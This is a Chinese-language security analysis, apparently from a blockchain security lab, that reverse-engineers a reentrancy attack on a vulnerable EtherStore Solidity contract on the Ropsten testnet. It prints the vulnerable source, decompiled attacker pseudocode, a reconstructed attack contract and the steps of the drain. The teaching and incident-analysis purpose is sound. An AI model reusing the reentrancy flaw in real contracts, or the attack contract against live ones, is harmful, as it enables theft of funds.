IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 区块链 -> 不一样的智能合约安全视角——solidity逆向 -> 正文阅读

[区块链]不一样的智能合约安全视角——solidity逆向

前言

近年来在区块链不断蓬勃、发展壮大的同时,区块链安全事件频频发生,黑客们的手法也在不断发生着变化,要想更加深入的了解各式各样的攻击背后的原理以及黑客攻击的逻辑,智能合约逆向工程必不可少。

对此,知道创宇区块链安全实验室 进行了研究分析。

在这里插入图片描述

通常我们所说的智能合约都是存在区块链上,可以被触发执行的一段程序代码,由于区块链上所有的数据都是公开透明的,所以合约的代码也应该是公开的。

但实际上它公开的却是经过编译的 OPCODE,真正的源代码需要发布合约的人自己公开。当合约源代码没有被公开,而我们又想对其进行深刻的了解时,可以借助工具将OPCODE逆向成类似于逻辑代码的伪代码和字节码来辅助。

本篇文章主要涉及由 solidity 语言编写的智能合约逆向之伪代码分析。

安全事件逆向分析

为贴切现实,也便于理解,本文选择测试网络进行一次重入漏洞攻击复现的逆向分析,重入漏洞原理具体可参考文章【知道创宇区块链安全实验室|深入理解重入攻击漏洞】。

0x01 信息收集

漏洞合约 地址

https://ropsten.etherscan.io/address/0x8872be6d31f2ec0169e5e3e69e5cae8823d358af

漏洞合约 源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.17;
contract EtherStore{
   uint256 public withdrawaLimit = 1 ether;
   mapping(address => uint256) public lastWithdrawTime;
   mapping(address => uint256) public balances;
   function depositFunds() public payable {
   balances[msg.sender] += msg.value;
}

function withdrawFunds (uint256 _weiToWithdraw) public {// 该函数存在重入漏洞,具体原因是使用call函数转账,且call函数转账发生在合约状态更新之前
    require(balances[msg.sender] >= _weiToWithdraw);
    require(_weiToWithdraw <= withdrawaLimit);
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
}

}

通过查看漏洞合约内部交易哈希 发现

可疑地址 0x2409fE8CCabe32F7AEbA8b34DA111A990b5A3E40

交易哈希 0x80270b685344fc5005f4969ef6bd545a614cd6e2fc92b9508cfed5266368062f
在这里插入图片描述

查看交易哈希发现可疑地址在向漏洞合约发送 1eth 后,收到来自漏洞合约的转账 1eth 足足 5 次在这里插入图片描述

查看攻击合约地址 0x2409fE8CCabe32F7AEbA8b34DA111A990b5A3E40 发现该地址值调用过两个函数

结合 交易哈希 1eth 特征可以判断攻击合约就是通过 0x6289d385 函数发起进攻的,Collect Ether 函数应该是取款功能
在这里插入图片描述在这里插入图片描述

攻击合约的 OPCODE
在这里插入图片描述

0x02 对 OPCODE 进行逆向分析

工欲善其事,必先利其器

solidity智能合约逆向工具推荐:

https://ethervm.io/decompile

https://contract-library.com/

https://github.com/crytic/ida-evm

https://github.com/comaeio/porosity

https://github.com/meyer9/ethdasm

这里我选择工具 https://ethervm.io/decompile

得到的 伪代码

  contract Contract {
  function main() {
  memory[0x40:0x60] = 0x80;

  if (msg.data.length < 0x04) {
  label_0057:
   
      if (address(storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff).balance <= 0x0de0b6b3a7640000) { stop(); }
   
      var var0 = storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff;
      var var1 = 0x155dd5ee;
      var temp0 = memory[0x40:0x60];
      memory[temp0:temp0 + 0x20] = (var1 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
      var temp1 = temp0 + 0x04;
      memory[temp1:temp1 + 0x20] = 0x0de0b6b3a7640000;
      var var2 = temp1 + 0x20;
      var var3 = 0x00;
      var var4 = memory[0x40:0x60];
      var var5 = var2 - var4;
      var var6 = var4;
      var var7 = 0x00;
      var var8 = var0;
      var var9 = !address(var8).code.length;
   
      if (var9) { revert(memory[0x00:0x00]); }
   
      var temp2;
      temp2, memory[var4:var4 + var3] = address(var8).call.gas(msg.gas).value(var7)(memory[var6:var6 + var5]);
      var3 = !temp2;
   
      if (!var3) { stop(); }
   
      var temp3 = returndata.length;
      memory[0x00:0x00 + temp3] = returndata[0x00:0x00 + temp3];
      revert(memory[0x00:0x00 + returndata.length]);
  } else {
      var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
   
      if (var0 == 0x6289d385) {
          // Dispatch table entry for 0x6289d385 (unknown)
          var1 = 0x015a;
          func_01CA();
          stop();
      } else if (var0 == 0xacd2e6e5) {
          // Dispatch table entry for 0xacd2e6e5 (unknown)
          var1 = msg.value;
       
          if (var1) { revert(memory[0x00:0x00]); }
       
          var1 = 0x0171;
          var2 = func_0339();
          var temp4 = memory[0x40:0x60];
          memory[temp4:temp4 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
          var temp5 = memory[0x40:0x60];
          return memory[temp5:temp5 + (temp4 + 0x20) - temp5];
      } else if (var0 == 0xff11e1db) {
          // Dispatch table entry for collectEther()
          var1 = msg.value;
       
          if (var1) { revert(memory[0x00:0x00]); }
       
          var1 = 0x01c8;
          collectEther();
          stop();
      } else { goto label_0057; }
  }
   }

   function func_01CA() {
  if (msg.value < 0x0de0b6b3a7640000) { revert(memory[0x00:0x00]); }
  var var0 = storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff;
  var var1 = 0xe2c41dbc;
  var var2 = 0x0de0b6b3a7640000;
  var temp0 = memory[0x40:0x60];
  memory[temp0:temp0 + 0x20] = (var1 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
  var var3 = temp0 + 0x04;
  var var4 = 0x00;
  var var5 = memory[0x40:0x60];
  var var6 = var3 - var5;
  var var7 = var5;
  var var8 = var2;
  var var9 = var0;
  var var10 = !address(var9).code.length;

  if (var10) { revert(memory[0x00:0x00]); }

  var temp1;
  temp1, memory[var5:var5 + var4] = address(var9).call.gas(msg.gas).value(var8)(memory[var7:var7 + var6]);
  var4 = !temp1;

  if (!var4) {
      var0 = storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff;
      var1 = 0x155dd5ee;
      var temp2 = memory[0x40:0x60];
      memory[temp2:temp2 + 0x20] = (var1 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
      var temp3 = temp2 + 0x04;
      memory[temp3:temp3 + 0x20] = 0x0de0b6b3a7640000;
      var2 = temp3 + 0x20;
      var3 = 0x00;
      var4 = memory[0x40:0x60];
      var5 = var2 - var4;
      var6 = var4;
      var7 = 0x00;
      var8 = var0;
      var9 = !address(var8).code.length;
   
      if (var9) { revert(memory[0x00:0x00]); }
   
      var temp4;
      temp4, memory[var4:var4 + var3] = address(var8).call.gas(msg.gas).value(var7)(memory[var6:var6 + var5]);
      var3 = !temp4;
   
      if (!var3) { return; }
   
      var temp5 = returndata.length;
      memory[0x00:0x00 + temp5] = returndata[0x00:0x00 + temp5];
      revert(memory[0x00:0x00 + returndata.length]);
  } else {
      var temp6 = returndata.length;
      memory[0x00:0x00 + temp6] = returndata[0x00:0x00 + temp6];
      revert(memory[0x00:0x00 + returndata.length]);
  }

    }

  function func_0339() returns (var r0) { return storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff; }
    function collectEther() {
  var temp0 = address(address(this)).balance;
  var temp1 = memory[0x40:0x60];
  var temp2;
  temp2, memory[temp1:temp1 + 0x00] = address(msg.sender).call.gas(!temp0 * 0x08fc).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]);
  var var0 = !temp2;
  if (!var0) { return; }
  var temp3 = returndata.length;
  memory[0x00:0x00 + temp3] = returndata[0x00:0x00 + temp3];
  revert(memory[0x00:0x00 + returndata.length]);
   }
  }

先从主函数进行分析
开辟空间

memory[0x40:0x60] = 0x80;

如果消息发送者携带消息长度小于0x04执行后面的内容,一般是回退函数

if (msg.data.length < 0x04){

地址余额小于等于 1eth 停止执行

if (address(storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff).balance <= 0x0de0b6b3a7640000) { stop(); }

接下来一段主要设置后续操作需要的信息,主要内容有 地址、需要调用的函数签名、1eth值、地址空代码

      var var0 = storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff;//地址
      var var1 = 0x155dd5ee;//需要调用的函数签名
      var temp0 = memory[0x40:0x60];
      memory[temp0:temp0 + 0x20] = (var1 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
      var temp1 = temp0 + 0x04;
      memory[temp1:temp1 + 0x20] = 0x0de0b6b3a7640000;//1eth值
      var var2 = temp1 + 0x20;
      var var3 = 0x00;
      var var4 = memory[0x40:0x60];
      var var5 = var2 - var4;
      var var6 = var4;
      var var7 = 0x00;
      var var8 = var0;
      var var9 = !address(var8).code.length;//地址空代码

对地址是否为空代码的判断,如果是回滚初始状态

if (var9) { revert(memory[0x00:0x00]); }

向地址发送值为1eth的 0x155dd5ee 函数调用信息,并返回信息

      var temp2;
      temp2, memory[var4:var4 + var3] = address(var8).call.gas(msg.gas).value(var7)(memory[var6:var6 + var5]);
      var3 = !temp2;
   
      if (!var3) { stop(); }
   
      var temp3 = returndata.length;
      memory[0x00:0x00 + temp3] = returndata[0x00:0x00 + temp3];
      revert(memory[0x00:0x00 + returndata.length]);

接收消息调用者携带的信息

else {
var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;

后面的代码内容基本就是通过消息调用者携带的信息判断调用的函数,其中没有if (var1) { revert(memory[0x00:0x00]); } 的函数能接收以太币。

函数func_01CA()

消息调用者携带的金额价值小于 1eth 回滚初始状态

if (msg.value < 0x0de0b6b3a7640000) { revert(memory[0x00:0x00]); }

接下来的代码与回退函数内容极其相似就是调用函数,从内容上看这次它调用了两个函数分别是

0xe2c41dbc , 0x155dd5ee

在调用 0xe2c41dbc 函数的时候信息 value 1eth data 0

在调用 0x155dd5ee 函数的时候信息 value 0 data 1eth

最后返回调用信息。

函数func_0339()

返回地址信息

return storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff;

函数collectEther()
设置信息,该合约余额 、新空间

  var temp0 = address(address(this)).balance;
  var temp1 = memory[0x40:0x60];

向消息调用者发送该合约余额,注意这里对gas做了限制 (!temp0 * 0x08fc) 其实这里包括后面的代码就是transfer()的功能

  temp2, memory[temp1:temp1 + 0x00] = address(msg.sender).call.gas(!temp0 * 0x08fc).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]);
  var var0 = !temp2;

  if (!var0) { return; }

最后返回调用信息。

还原代码

其实我们可以通过 https://www.4byte.directory/ 在线查询 函数签名对应的函数名称,有助于我们理解函数。

在这里插入图片描述在这里插入图片描述

contract At{
function func_0339() public returns (var r0) { return storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff; }

function func_01CA() public payable{
    require(msg.value >= 1 ether);
    storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff.depositFunds.value(1 ether)();
    storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff.withdrawFunds(1 ether);
}

function collectEther() public {
    msg.sender.transfer(this.balance);
}

function () payable {
    if (storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff.balance > 1 ether) {
        storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff.withdrawFunds(1 eth);
    }
}
}

storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff 其实等价于
漏洞合约地址
0x8872bE6d31F2Ec0169e5E3E69e5CAe8823d358aF

0x03 综合分析
总结攻击流程

第一阶段 黑客调用 func_01CA函数,

func_01CA函数作用:

1.向漏洞合约的 depositFunds 函数发送 1eth

2.向漏洞合约的 withdrawFunds 函数发出撤走 1eth 的请求

第二阶段 当漏洞合约的 withdrawFunds函数 进入到发送金额的时候 由于使用的是 call 函数 转账,会附加"所有可用 gas",并触发攻击合约的 fallback函数

第三阶段 当攻击合约的 fallback函数 被触发后,首先会对漏洞合约的余额进行判断,如果大于 1eth 就重新调用漏洞合约的 withdrawFunds函数 ,由于withdrawFunds函数最后两步才会减去msg.sender对应的余额并记录,导致fallback函数发起的调用withdrawFunds函数的信息require判断都能通过,直到漏洞合约的余额小于等于 1eth。

第四阶段 黑客调用 collectEther 函数 取走攻击合约余额。

总结

近年来,智能合约逆向不仅仅出现在区块链安全事件分析中,现在也出现在各个大型CTF比赛中的区块链攻防上。智能合约逆向能很好的帮助我们在一些未公开智能合约代码中找到它的运行逻辑,再辅助以交易哈希,就能从蛛丝马迹中找到我们想要的答案。

  区块链 最新文章
盘点具备盈利潜力的几大加密板块,以及潜在
阅读笔记|让区块空间成为商品,打造Web3云
区块链1.0-比特币的数据结构
Team Finance被黑分析|黑客自建Token“瞒天
区块链≠绿色?波卡或成 Web3“生态环保”标
期货从入门到高深之手动交易系列D1课
以太坊基础---区块验证
进入以太坊合并的五个数字
经典同态加密算法Paillier解读 - 原理、实现
IPFS/Filecoin学习知识科普(四)
上一篇文章      下一篇文章      查看所有文章
加:2021-09-09 11:48:53  更:2021-09-09 11:50:07 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/25 19:23:09-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码